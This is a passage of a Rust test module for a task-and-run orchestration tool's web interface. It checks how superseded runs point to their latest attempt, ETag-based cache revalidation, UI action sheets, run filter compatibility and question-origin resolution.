26332        let out = task_outcome(&t, a, 3, read);
26333        assert!(out.finished_by.is_none());
26334        assert!(out.closed_by_hand);
26335        let latest = out.latest.expect("latest");
26336        assert_eq!(latest.id, c);
26337        assert_eq!(latest.status, None);
26338        assert_eq!(latest.outcome, "record unreadable");
26339
26340        // A Ready run settles the task as done, so it is named as the finisher.
26341        write_run(dir.path(), c, RunStatus::Ready);
26342        let t = outcome_task(&[a, c], TaskStatus::Done);
26343        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
26344        assert_eq!(out.finished_by.expect("finisher").id, c);
26345        assert!(!out.closed_by_hand);
26346
26347        // A resumed run id repeats: it is still the latest by id.
26348        let t = outcome_task(&[a, b, a], TaskStatus::Held);
26349        assert!(task_outcome(&t, a, 3, read).is_latest);
26350    }
26351
26352    #[tokio::test]
26353    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
26354        // The list route has known this since the card fix above; the detail
26355        // route — what an operator actually opens from a notification about
26356        // a blocked run — did not, and went on showing a bare red BLOCKED
26357        // chip for a run a retry had already finished.
26358        let fx = Fixture::start().await;
26359        let q = fx.queue();
26360        let runs = fx.runs();
26361        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
26362        write_run(&runs, first, RunStatus::Blocked);
26363        write_run(&runs, second, RunStatus::Merged);
26364
26365        let mut t = Task::new(
26366            "one task".to_owned(),
26367            "do it".to_owned(),
26368            PathBuf::from("/repo"),
26369            Source::Human,
26370        );
26371        t.runs = vec![first.to_owned(), second.to_owned()];
26372        q.put(&mut t).expect("put");
26373
26374        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
26375        assert_eq!(earlier["superseded_by"], "dddd");
26376        assert_eq!(earlier["latest_attempt"]["id"], second);
26377        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
26378        assert_eq!(
26379            earlier["latest_attempt"]["resolved"], true,
26380            "the run that replaced it landed, so this one reads as settled"
26381        );
26382
26383        let later = fx.get(&format!("/api/runs/{second}")).await.json();
26384        assert!(
26385            later["superseded_by"].is_null(),
26386            "the latest attempt is not superseded by anything"
26387        );
26388        assert!(
26389            later["latest_attempt"].is_null(),
26390            "the latest attempt has no later attempt of its own"
26391        );
26392
26393        // Front end: the detail page has to read the field this route now
26394        // carries, downgrade the chip, and link to the run that replaced it —
26395        // not just repeat the list card's own logic under a different name.
26396        // The link is built off `latest_attempt.id`, the server-resolved
26397        // full id, never a bare short string a client would have to guess a
26398        // full run from.
26399        assert!(APP_JS.contains("run.latest_attempt"));
26400        assert!(APP_JS.contains("data-superseded"));
26401        assert!(APP_JS.contains("#/runs/${latest.id}"));
26402    }
26403
26404    #[tokio::test]
26405    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
26406        // A -> B -> C, all Blocked except the last. A's immediate successor
26407        // (superseded_by) is B, which is itself unresolved; what an operator
26408        // opening A's page actually needs is where the task's story stands
26409        // *now* - C, not B - without depending on whether C happens to be in
26410        // whatever page of /api/runs the client last cached.
26411        let fx = Fixture::start().await;
26412        let q = fx.queue();
26413        let runs = fx.runs();
26414        let (a, b, c) = (
26415            "20260901-000000-aaaa",
26416            "20260901-000000-bbbb",
26417            "20260901-000000-cccc",
26418        );
26419        write_run(&runs, a, RunStatus::Blocked);
26420        write_run(&runs, b, RunStatus::Blocked);
26421        write_run(&runs, c, RunStatus::Merged);
26422
26423        let mut t = Task::new(
26424            "retried twice".to_owned(),
26425            "do it".to_owned(),
26426            PathBuf::from("/repo"),
26427            Source::Human,
26428        );
26429        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
26430        q.put(&mut t).expect("put");
26431
26432        let view = fx.get(&format!("/api/runs/{a}")).await.json();
26433        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
26434        assert_eq!(
26435            view["latest_attempt"]["id"], c,
26436            "the chain's current head, not the intermediate Blocked retry"
26437        );
26438        assert_eq!(view["latest_attempt"]["resolved"], true);
26439
26440        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
26441        assert_eq!(mid["latest_attempt"]["id"], c);
26442        assert_eq!(mid["latest_attempt"]["resolved"], true);
26443    }
26444
26445    #[tokio::test]
26446    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
26447        let fx = Fixture::start().await;
26448        let q = fx.queue();
26449        let runs = fx.runs();
26450
26451        // Still Blocked: the task is not resolved, so the older run must not
26452        // read as settled either.
26453        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
26454        write_run(&runs, still_blocked_a, RunStatus::Blocked);
26455        write_run(&runs, still_blocked_b, RunStatus::Blocked);
26456        let mut t1 = Task::new(
26457            "still stuck".to_owned(),
26458            "do it".to_owned(),
26459            PathBuf::from("/repo"),
26460            Source::Human,
26461        );
26462        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
26463        q.put(&mut t1).expect("put");
26464        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
26465        assert_eq!(view1["latest_attempt"]["resolved"], false);
26466        assert_eq!(view1["latest_attempt"]["status"], "blocked");
26467        assert_eq!(view1["latest_attempt"]["done"], true);
26468
26469        // Still running: the successor exists and must be reported as such.
26470        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
26471        write_run(&runs, run_a, RunStatus::Blocked);
26472        write_run(&runs, run_b, RunStatus::Implementing);
26473        let mut t3 = Task::new(
26474            "retrying".to_owned(),
26475            "do it".to_owned(),
26476            PathBuf::from("/repo"),
26477            Source::Human,
26478        );
26479        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
26480        q.put(&mut t3).expect("put");
26481        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
26482        assert_eq!(view3["latest_attempt"]["id"], run_b);
26483        assert_eq!(view3["latest_attempt"]["resolved"], false);
26484        assert_eq!(view3["latest_attempt"]["done"], false);
26485
26486        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
26487        // to check - not a confirmed finish, so this must not read as
26488        // resolved either, even though the run is done in the sense that
26489        // nothing is still running.
26490        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
26491        write_run(&runs, noop_a, RunStatus::Blocked);
26492        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
26493        let mut t2 = Task::new(
26494            "claims done".to_owned(),
26495            "do it".to_owned(),
26496            PathBuf::from("/repo"),
26497            Source::Human,
26498        );
26499        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
26500        q.put(&mut t2).expect("put");
26501        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
26502        assert_eq!(
26503            view2["latest_attempt"]["resolved"], false,
26504            "an unverified no-op claim must not read as a confirmed finish"
26505        );
26506
26507        // Front end: an unresolved successor must not carry the "finished
26508        // this work" note or the muted chip treatment.
26509        assert!(APP_JS.contains("latest.resolved"));
26510        // ...but the link to it shows as soon as it exists, labelled by state
26511        // and without the "finished" wording or the muted chip.
26512        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
26513        assert!(APP_JS.contains("Latest attempt: "));
26514        assert!(APP_JS.contains("in flight"));
26515        assert!(APP_JS.contains("not resolved"));
26516    }
26517
26518    #[tokio::test]
26519    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
26520        let fx = Fixture::start().await;
26521        // No cache header at all meant browsers invented their own policy,
26522        // and one did: a phone went on showing "Candidates must be folded
26523        // before deleting. Run `magi fold` first." - deleted two releases
26524        // earlier - from a deck that no longer contained the sentence. The
26525        // button it named was right there, and unreachable.
26526        let js = fx.get("/app.js").await;
26527        assert_eq!(js.status, 200);
26528        let tag = js
26529            .header("etag")
26530            .expect("an etag to revalidate against")
26531            .to_owned();
26532        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
26533        assert_eq!(
26534            js.header("cache-control"),
26535            Some("no-cache, must-revalidate"),
26536            "the phone has to ask every time"
26537        );
26538
26539        // And the asking has to be cheap, or `must-revalidate` just means
26540        // "send the whole interface on every load".
26541        let again = fx
26542            .get_with("/app.js", &[("if-none-match", tag.as_str())])
26543            .await;
26544        assert_eq!(
26545            again.status, 304,
26546            "a deck it already has costs one round trip"
26547        );
26548        assert!(again.body.is_empty(), "304 carries no body");
26549
26550        // A weakened tag from a proxy still matches; a different build does
26551        // not, which is the case that has to deliver the new interface.
26552        let weak = fx
26553            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
26554            .await;
26555        assert_eq!(weak.status, 304);
26556        let stale = fx
26557            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
26558            .await;
26559        assert_eq!(stale.status, 200, "an older build must be replaced");
26560        assert!(stale.body.contains("renderRunActions"));
26561    }
26562
26563    #[test]
26564    fn the_task_detail_has_an_actions_fab_and_sheet() {
26565        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
26566        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
26567        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
26568        // Shown only on the task route, closed everywhere else.
26569        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
26570        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
26571        // Refreshed whenever the detail redraws, including the loading state.
26572        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
26573        assert!(APP_JS.contains("renderTaskActions(null);"));
26574        // Same action renderers as the Queue card. Bound this check by the
26575        // next function, since additional task controls can grow the sheet.
26576        let (_, sheet) = APP_JS
26577            .split_once("function renderTaskActions(task) {")
26578            .expect("sheet renderer");
26579        let (body, _) = sheet
26580            .split_once("\nfunction openTaskActions() {")
26581            .expect("end of sheet renderer");
26582        assert!(body.contains("changePriority("));
26583        assert!(body.contains("openTaskEdit(task)"));
26584        assert!(body.contains("renderTaskHoldBox(host"));
26585        assert!(body.contains("renderTaskDoneBox(host"));
26586        assert!(body.contains("renderTaskDeleteBox(host"));
26587        assert!(APP_JS.contains("API.priority(id)"));
26588        assert!(APP_JS.contains("API.deleteTask(id)"));
26589        // A deleted task sends the operator back to the queue.
26590        assert!(APP_JS.contains("location.hash = \"#/queue\""));
26591        // A refusal is shown inside the sheet.
26592        assert!(APP_JS.contains("$(\"task-actions-error\")"));
26593    }
26594
26595    #[test]
26596    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
26597        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
26598        let actions = INDEX_HTML
26599            .find("id=\"run-actions-box\"")
26600            .expect("actions box");
26601        assert!(task < actions, "the task entry comes first in the sheet");
26602        assert!(APP_JS.contains("renderRunTaskEntry"));
26603        assert!(APP_JS.contains("\"Open task \""));
26604        // A run without a task says why there is nothing to open.
26605        assert!(APP_JS.contains("started directly, no task"));
26606        assert!(APP_JS.contains("sheet-task-link"));
26607        assert!(APP_JS.contains("task-chip-link"));
26608    }
26609
26610    #[test]
26611    fn the_deck_never_sends_the_operator_to_a_terminal() {
26612        // The whole point of the phone UI is that a terminal is not needed.
26613        // The delete control used to answer with "Run `magi fold` first."
26614        assert!(
26615            !APP_JS.contains("Run `magi fold` first"),
26616            "the deck must offer the fold, not prescribe a shell command"
26617        );
26618        assert!(APP_JS.contains("foldRun:"));
26619        assert!(APP_JS.contains("resumeRun:"));
26620        assert!(APP_JS.contains("renderRunActions"));
26621
26622        // Folding is destructive and armed in two steps, like deleting.
26623        assert!(APP_JS.contains("armedFold"));
26624        assert!(APP_JS.contains("Yes, fold worktrees"));
26625
26626        // And the copy has to say that the two actions are opposites, because
26627        // folding throws away exactly what a resume would continue from.
26628        assert!(APP_JS.contains("can no longer be resumed"));
26629    }
26630
26631    #[test]
26632    fn a_finished_run_explains_itself_with_its_own_last_line() {
26633        // The deck used to answer "why did this stop?" with a sentence chosen
26634        // by status alone. Run e633 stalled because two judges answered with
26635        // the wrong JSON shape and its card said "The panel collapsed on
26636        // agent quota" - with `quota: []` in the record and a quota-loss
26637        // counter right above it that correctly said nothing.
26638        assert!(
26639            !APP_JS.contains("collapsed on agent quota"),
26640            "a stall must not be explained by a cause the deck did not check"
26641        );
26642        assert!(
26643            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
26644            "and a block must not offer a guess with an `or` in it"
26645        );
26646
26647        // The reason it does have is `run.event`, which must reach finished
26648        // runs: gating it on movement hid the recorded truth at the one moment
26649        // the operator is reading the card to find out what happened.
26650        assert!(
26651            APP_JS.contains("setText(r.event, run.event || \"\")"),
26652            "the run's last line is rendered unconditionally"
26653        );
26654        assert!(
26655            !APP_JS.contains("moving && run.event"),
26656            "and never gated on the run still moving"
26657        );
26658
26659        // Quota keeps its own counter, fed by the number actually recorded.
26660        assert!(APP_JS.contains("lost to quota"));
26661    }
26662
26663    /// The runs tree (section) and the state chips (waiting/done) are two
26664    /// independent lenses ANDed together in `renderRuns`, and some pairings
26665    /// can never both be true for any run - every "Landed"/"Ended" run is
26666    /// done by construction, so pairing either with "Active" or "In flight"
26667    /// always rendered zero cards with the filter bar still claiming
26668    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
26669    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
26670    /// a handful of (waiting, status) shapes standing in for the run
26671    /// lifecycle, because `cargo test` cannot execute the front end.
26672    ///
26673    /// That stand-in list is itself the part that drifted twice in review:
26674    /// once shipped with `waiting: true` paired with a done status the
26675    /// lifecycle cannot produce, then over-corrected into treating every
26676    /// waiting run as never done - which made "Waiting on you" look
26677    /// incompatible with "Done" even for the one real, reachable shape
26678    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
26679    /// that combination. This test parses the shapes and the done-rule back
26680    /// out of `APP_JS`, reimplements `runSection` and the five state
26681    /// predicates independently in Rust, and checks the resulting
26682    /// section/filter compatibility table against the lifecycle rules by
26683    /// hand - so either direction of drift fails it again.
26684    #[test]
26685    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
26686        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
26687        let shapes_body_start =
26688            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
26689        let shapes_close = APP_JS[shapes_body_start..]
26690            .find("].map(")
26691            .expect("the shape list is closed by its done-computing .map(...)")
26692            + shapes_body_start;
26693        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
26694
26695        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
26696        for entry in shapes_src.split('{').skip(1) {
26697            let waiting = entry.contains("waiting: true");
26698            let dead = entry.contains("live: \"dead\"");
26699            let status_at =
26700                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
26701            let status_end = entry[status_at..]
26702                .find('"')
26703                .expect("the status string is closed")
26704                + status_at;
26705            let parked = entry.contains("display_status: \"parked\"");
26706            shapes.push((
26707                waiting,
26708                entry[status_at..status_end].to_string(),
26709                dead,
26710                parked,
26711            ));
26712        }
26713        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
26714
26715        // The done rule itself (`!["implementing"].includes(shape.status)`),
26716        // read out of the source rather than hardcoded, so a renamed
26717        // in-flight status can't silently make every parsed shape "done".
26718        let done_rule_marker = "done: !";
26719        let done_rule_at = APP_JS[shapes_close..]
26720            .find(done_rule_marker)
26721            .expect("the done rule follows the shape list")
26722            + shapes_close
26723            + done_rule_marker.len();
26724        let includes_at = APP_JS[done_rule_at..]
26725            .find(".includes(shape.status)")
26726            .expect("the done rule ends in .includes(shape.status)")
26727            + done_rule_at;
26728        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
26729            .trim()
26730            .trim_start_matches('[')
26731            .trim_end_matches(']')
26732            .split(',')
26733            .map(|s| s.trim().trim_matches('"'))
26734            .filter(|s| !s.is_empty())
26735            .collect();
26736
26737        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
26738            .into_iter()
26739            .map(|(waiting, status, dead, parked)| {
26740                let done = !not_done.contains(&status.as_str());
26741                (waiting, status, dead, parked, done)
26742            })
26743            .collect();
26744
26745        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
26746        // outright, then merged/ready land, stalled/blocked/failed/
26747        // verified_noop end, and everything else is still in flight.
26748        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
26749            if waiting {
26750                return "waiting";
26751            }
26752            if dead
26753                && !parked
26754                && !matches!(
26755                    status,
26756                    "merged"
26757                        | "ready"
26758                        | "stalled"
26759                        | "blocked"
26760                        | "failed"
26761                        | "verified_noop"
26762                        | "superseded"
26763                        | "already_in_base"
26764                )
26765            {
26766                return "stale";
26767            }
26768            match status {
26769                "merged" | "ready" => "landed",
26770                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
26771                | "already_in_base" => "ended",
26772                _ => "flight",
26773            }
26774        }
26775
26776        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
26777        // way.
26778        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
26779            match filter_key {
26780                "active" => !done,
26781                "flight" => !done && !waiting && !dead,
26782                "stale" => !done && !waiting && dead,
26783                "waiting" => waiting,
26784                "done" => done,
26785                "all" => true,
26786                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
26787            }
26788        }
26789
26790        let compatible = |section: &str, filter_key: &str| {
26791            shapes.iter().any(|(waiting, status, dead, parked, done)| {
26792                run_section(*waiting, status, *dead, *parked) == section
26793                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
26794            })
26795        };
26796
26797        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
26798        // (active, flight, stale, waiting, done, all) - hand-derived from the
26799        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
26800        // currently contains.
26801        let expected = [
26802            ("waiting", [true, false, false, true, true, true]),
26803            ("stale", [true, false, true, false, false, true]),
26804            ("flight", [true, true, false, false, false, true]),
26805            ("landed", [false, false, false, false, true, true]),
26806            ("ended", [false, false, false, false, true, true]),
26807        ];
26808        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
26809
26810        for (section, wants) in expected {
26811            for (filter_key, want) in filter_keys.iter().zip(wants) {
26812                assert_eq!(
26813                    compatible(section, filter_key),
26814                    want,
26815                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
26816                );
26817            }
26818        }
26819
26820        // The compatibility check exists only to be acted on: both pickers
26821        // must actually consult it rather than just render its answer.
26822        assert!(
26823            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
26824        );
26825        assert!(APP_JS.contains(
26826            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
26827        ));
26828        assert!(APP_JS.contains(
26829            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
26830        ));
26831    }
26832
26833    #[tokio::test]
26834    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
26835        // An operator-named directory - git checkout or not - is never
26836        // second-guessed, even when it does not exist at all: only the
26837        // flag's own unmodified `.` default is ever eligible for discovery.
26838        let dir = tempfile::tempdir().expect("tempdir");
26839        let explicit = dir.path().join("not-a-checkout");
26840        std::fs::create_dir_all(&explicit).expect("create dir");
26841        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
26842
26843        let missing = dir.path().join("does-not-exist-at-all");
26844        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
26845    }
26846
26847    #[test]
26848    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
26849        assert!(APP_JS.contains("function statsDonutArcs"));
26850        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
26851        // A bucket click filters by the statuses src/stats.rs counts in it.
26852        assert!(APP_JS.contains("function statusInBucket"));
26853        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
26854        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
26855        let buckets = [
26856            "merged",
26857            "ready",
26858            "in_progress",
26859            "blocked",
26860            "failed",
26861            "verified_noop",
26862            "superseded",
26863            "stalled",
26864        ];
26865        for key in buckets {
26866            let var = format!("--verdict-{key}:");
26867            // Light, OS-dark and pinned-dark blocks each define it.
26868            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
26869            assert!(
26870                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
26871                "{key}"
26872            );
26873        }
26874    }
26875
26876    #[tokio::test]
26877    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
26878        let dir = tempfile::tempdir().expect("tempdir");
26879        let queue = Queue::at(dir.path().join("queue"));
26880        let talks = Talks::at(dir.path().join("talks"));
26881        std::fs::create_dir_all(queue.root()).unwrap();
26882        std::fs::create_dir_all(talks.root()).unwrap();
26883
26884        // Put a corrupt json file in both stores
26885        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
26886        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
26887
26888        // Valid task and talk
26889        let mut task = Task::new(
26890            "title".into(),
26891            "inst".into(),
26892            PathBuf::from("/repo"),
26893            Source::Human,
26894        );
26895        task.id = "20261019-123456-abcd".into();
26896        // Write manually so it's a valid file
26897        std::fs::write(
26898            queue.path_of(&task.id),
26899            serde_json::to_string(&task).unwrap(),
26900        )
26901        .unwrap();
26902
26903        let talk_id = "20261019-234567-cdef";
26904        seed_talk_at(&talks, talk_id, "open");
26905
26906        // Exact match should succeed without failing on the corrupt json file
26907        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
26908        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
26909
26910        // Prefix match should also succeed by scanning file names without deserializing corrupt file
26911        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
26912        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
26913    }
26914
26915    #[tokio::test]
26916    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
26917        let home = tempfile::tempdir().unwrap();
26918        let ui = delta_test_ui(home.path());
26919        // A full history traversal would fail even with no questions.
26920        std::fs::write(ui.queue.root(), "not a directory").unwrap();
26921        std::fs::write(ui.talks.root(), "not a directory").unwrap();
26922        assert!(
26923            questions_list(State(ui.clone()))
26924                .await
26925                .unwrap()
26926                .0
26927                .is_empty()
26928        );
26929        assert!(
26930            question_origins(State(ui.clone()))
26931                .await
26932                .unwrap()
26933                .0
26934                .is_empty()
26935        );
26936        let mut question = Question::new(
26937            "run-history".into(),
26938            "review".into(),
26939            "seat".into(),
26940            "Useful question".into(),
26941            "Useful detail".into(),
26942            vec![],
26943        );
26944        ui.questions.put(&mut question).unwrap();
26945        let core = questions_core(State(ui.clone())).await.unwrap().0;
26946        assert_eq!(core.len(), 1);
26947        assert_eq!(core[0].question.summary, "Useful question");
26948        assert!(!core[0].can_consult_chat);
26949        assert!(core[0].origin_chat.is_none());
26950        assert_eq!(core[0].record_revision, question_record_revision(&question));
26951        assert!(question_origins(State(ui.clone())).await.is_err());
26952        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26953    }
26954
26955    #[tokio::test]
26956    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
26957        let home = tempfile::tempdir().unwrap();
26958        let ui = delta_test_ui(home.path());
26959        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
26960        let mut parent = Task::new(
26961            "parent".into(),
26962            "body".into(),
26963            PathBuf::from("/repo"),
26964            Source::Agent {
26965                run: chat.clone(),
26966                node: crate::queue::CHAT_NODE.into(),
26967            },
26968        );
26969        parent.id = "parent-task".into();
26970        parent.runs = vec!["parent-run".into()];
26971        ui.queue.put(&mut parent).unwrap();
26972        let mut previous = parent;
26973        for generation in 1..=2 {
26974            let mut child = Task::new(
26975                "child".into(),
26976                "body".into(),
26977                PathBuf::from("/repo"),
26978                Source::Human,
26979            );
26980            child.id = format!("child-task-{generation}");
26981            child.runs = vec![format!("child-run-{generation}")];
26982            child.followup = Some(crate::queue::FollowUp {
26983                origin_task: Some(previous.id.clone()),
26984                run: previous.runs[0].clone(),
26985                pr: String::new(),
26986                findings: vec![],
26987                generation,
26988            });
26989            ui.queue.put(&mut child).unwrap();
26990            previous = child;
26991        }
26992        // A run may have the same spelling as another task's id; its owner
26993        // must not override a typed task reference.
26994        let mut collision = Task::new(
26995            "collision".into(),
26996            String::new(),
26997            PathBuf::from("/repo"),
26998            Source::Human,
26999        );
27000        collision.id = "collision-task".into();
27001        collision.runs = vec![previous.id.clone()];
27002        ui.queue.put(&mut collision).unwrap();
27003        let mut questions = Vec::new();
27004        for (node, reference, expected, eligible) in [
27005            (crate::triage::NODE, previous.id.as_str(), true, false),
27006            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
27007            ("review", previous.runs[0].as_str(), true, true),
27008            (
27009                crate::bump::NOTICE_NODE,
27010                previous.runs[0].as_str(),
27011                true,
27012                false,
27013            ),
27014            // Identical text in the wrong reference namespace is not evidence.
27015            ("review", previous.id.as_str(), false, false),
27016            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
27017            ("review", "unrelated", false, false),
27018        ] {
27019            let mut q = Question::new(
27020                reference.into(),
27021                node.into(),
27022                "seat".into(),
27023                "Question".into(),
27024                String::new(),
27025                vec![],
27026            );
27027            ui.questions.put(&mut q).unwrap();
27028            questions.push((q, expected, eligible));
27029        }
27030        for (node, reference, associated, eligible) in [
27031            (crate::reconcile::NODE, previous.id.as_str(), true, false),
27032            (
27033                crate::reconcile::NODE,
27034                previous.runs[0].as_str(),
27035                false,
27036                true,
27037            ),
27038            ("implement", previous.id.as_str(), false, false),
27039        ] {
27040            let mut q = Question::new(
27041                reference.into(),
27042                node.into(),
27043                crate::reconcile::SEAT.into(),
27044                "Reconcile".into(),
27045                String::new(),
27046                vec![],
27047            );
27048            ui.questions.put(&mut q).unwrap();
27049            questions.push((q, associated, eligible));
27050        }
27051        let mut release = Question::new(
27052            "release-record".into(),
27053            crate::bump::NOTICE_NODE.into(),
27054            "release-watch".into(),
27055            "Release".into(),
27056            String::new(),
27057            vec![],
27058        );
27059        ui.questions.put(&mut release).unwrap();
27060        let watch = crate::release_watch::WatchState {
27061            question: Some(release.id.clone()),
27062            run: Some(previous.runs[0].clone()),
27063            held_task: Some(previous.id.clone()),
27064            ..Default::default()
27065        };
27066        let watch_dir = home.path().join("release-watch");
27067        std::fs::create_dir_all(&watch_dir).unwrap();
27068        let watch_path = watch_dir.join("watch.json");
27069        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
27070        // Ordinary questions and bump notices do not need watch-store I/O.
27071        for batch in [
27072            Vec::new(),
27073            questions.iter().map(|(q, _, _)| q.clone()).collect(),
27074        ] {
27075            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
27076            assert!(watches.is_empty());
27077        }
27078        questions.push((release.clone(), true, false));
27079
27080        let views = questions_list(State(ui.clone())).await.unwrap().0;
27081        let origins = question_origins(State(ui.clone())).await.unwrap().0;
27082        for (q, associated, eligible) in &questions {
27083            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
27084            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
27085            let expected = associated.then_some(chat.as_str());
27086            assert_eq!(
27087                view.origin_chat.as_deref(),
27088                expected,
27089                "{} {}",
27090                q.node,
27091                q.run
27092            );
27093            assert_eq!(origin.origin_chat.as_deref(), expected);
27094            assert_eq!(view.origin_chat_closed, *associated);
27095            assert_eq!(origin.origin_chat_closed, *associated);
27096            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
27097            assert_eq!(origin.can_consult_chat, *eligible);
27098        }
27099        // Either saved link independently recovers a release question's owner.
27100        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
27101            let link = crate::release_watch::WatchState {
27102                run,
27103                held_task,
27104                ..watch.clone()
27105            };
27106            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
27107            let (tasks, talks, watches) =
27108                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27109            assert_eq!(
27110                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27111                    .unwrap()
27112                    .id,
27113                chat,
27114            );
27115            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
27116        }
27117        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
27118        // Even identical duplicate records are ambiguous: ignore their links.
27119        let duplicate_path = watch_dir.join("duplicate.json");
27120        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
27121        let (tasks, talks, watches) =
27122            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27123        assert!(
27124            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27125                .is_none()
27126        );
27127        std::fs::remove_file(duplicate_path).unwrap();
27128        // Another explicit owner is a conflict even if it has no chat.
27129        let mut unrelated = Task::new(
27130            "other".into(),
27131            String::new(),
27132            PathBuf::from("/repo"),
27133            Source::Human,
27134        );
27135        unrelated.id = "unrelated-task".into();
27136        ui.queue.put(&mut unrelated).unwrap();
27137        let mut conflicting = watch.clone();
27138        conflicting.held_task = Some(unrelated.id);
27139        std::fs::write(
27140            watch_dir.join("conflict.json"),
27141            serde_json::to_vec(&conflicting).unwrap(),
27142        )
27143        .unwrap();
27144        let (tasks, talks, watches) =
27145            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27146        assert!(
27147            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27148                .is_none()
27149        );
27150        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
27151        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
27152        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
